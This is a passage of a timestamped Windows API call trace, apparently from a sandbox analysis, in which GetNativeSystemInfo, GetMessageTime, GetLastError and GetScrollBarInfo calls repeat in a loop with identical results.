GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.930] GetMessageTime () returned 0 [0056.930] GetLastError () returned 0x578 [0056.930] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.930] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.931] GetMessageTime () returned 0 [0056.931] GetLastError () returned 0x578 [0056.931] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.931] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.931] GetMessageTime () returned 0 [0056.931] GetLastError () returned 0x578 [0056.931] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.931] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.931] GetMessageTime () returned 0 [0056.931] GetLastError () returned 0x578 [0056.931] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.931] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.931] GetMessageTime () returned 0 [0056.931] GetLastError () returned 0x578 [0056.931] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.931] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.931] GetMessageTime () returned 0 [0056.931] GetLastError () returned 0x578 [0056.931] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.931] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.931] GetMessageTime () returned 0 [0056.931] GetLastError () returned 0x578 [0056.931] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.931] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.932] GetMessageTime () returned 0 [0056.932] GetLastError () returned 0x578 [0056.932] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.932] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.932] GetMessageTime () returned 0 [0056.932] GetLastError () returned 0x578 [0056.932] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.932] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.932] GetMessageTime () returned 0 [0056.932] GetLastError () returned 0x578 [0056.932] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.932] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.932] GetMessageTime () returned 0 [0056.932] GetLastError () returned 0x578 [0056.932] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.932] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.932] GetMessageTime () returned 0 [0056.932] GetLastError () returned 0x578 [0056.932] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.932] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.932] GetMessageTime () returned 0 [0056.932] GetLastError () returned 0x578 [0056.932] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.932] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.932] GetMessageTime () returned 0 [0056.933] GetLastError () returned 0x578 [0056.933] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.933] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.933] GetMessageTime () returned 0 [0056.933] GetLastError () returned 0x578 [0056.933] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.933] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.933] GetMessageTime () returned 0 [0056.933] GetLastError () returned 0x578 [0056.933] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.933] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.933] GetMessageTime () returned 0 [0056.933] GetLastError () returned 0x578 [0056.933] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.933] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.933] GetMessageTime () returned 0 [0056.933] GetLastError () returned 0x578 [0056.933] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.933] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.933] GetMessageTime () returned 0 [0056.933] GetLastError () returned 0x578 [0056.933] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.933] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.933] GetMessageTime () returned 0 [0056.934] GetLastError () returned 0x578 [0056.934] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.934] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.934] GetMessageTime () returned 0 [0056.934] GetLastError () returned 0x578 [0056.934] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.934] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.934] GetMessageTime () returned 0 [0056.934] GetLastError () returned 0x578 [0056.934] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.934] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.934] GetMessageTime () returned 0 [0056.934] GetLastError () returned 0x578 [0056.934] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.934] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.934] GetMessageTime () returned 0 [0056.934] GetLastError () returned 0x578 [0056.934] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.934] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.934] GetMessageTime () returned 0 [0056.934] GetLastError () returned 0x578 [0056.934] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.934] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.934] GetMessageTime () returned 0 [0056.934] GetLastError () returned 0x578 [0056.935] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.935] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.935] GetMessageTime () returned 0 [0056.935] GetLastError () returned 0x578 [0056.935] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.935] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.935] GetMessageTime () returned 0 [0056.935] GetLastError () returned 0x578 [0056.935] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.935] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.935] GetMessageTime () returned 0 [0056.935] GetLastError () returned 0x578 [0056.935] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.935] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.935] GetMessageTime () returned 0 [0056.935] GetLastError () returned 0x578 [0056.935] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.935] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.935] GetMessageTime () returned 0 [0056.935] GetLastError () returned 0x578 [0056.935] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.935] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.935] GetMessageTime () returned 0 [0056.936] GetLastError () returned 0x578 [0056.936] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.936] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.936] GetMessageTime () returned 0 [0056.936] GetLastError () returned 0x578 [0056.936] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.936] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.936] GetMessageTime () returned 0 [0056.936] GetLastError () returned 0x578 [0056.936] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.936] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.936] GetMessageTime () returned 0 [0056.936] GetLastError () returned 0x578 [0056.936] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.936] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.936] GetMessageTime () returned 0 [0056.936] GetLastError () returned 0x578 [0056.936] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.936] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.936] GetMessageTime () returned 0 [0056.936] GetLastError () returned 0x578 [0056.936] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.936] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.937] GetMessageTime () returned 0 [0056.937] GetLastError () returned 0x578 [0056.937] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.937] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.937] GetMessageTime () returned 0 [0056.937] GetLastError () returned 0x578 [0056.937] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.937] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.937] GetMessageTime () returned 0 [0056.937] GetLastError () returned 0x578 [0056.937] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.937] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.937] GetMessageTime () returned 0 [0056.937] GetLastError () returned 0x578 [0056.937] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.937] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.937] GetMessageTime () returned 0 [0056.937] GetLastError () returned 0x578 [0056.937] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.937] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.937] GetMessageTime () returned 0 [0056.937] GetLastError () returned 0x578 [0056.937] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.937] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.938] GetMessageTime () returned 0 [0056.938] GetLastError () returned 0x578 [0056.938] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.938] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.938] GetMessageTime () returned 0 [0056.938] GetLastError () returned 0x578 [0056.938] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.938] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, 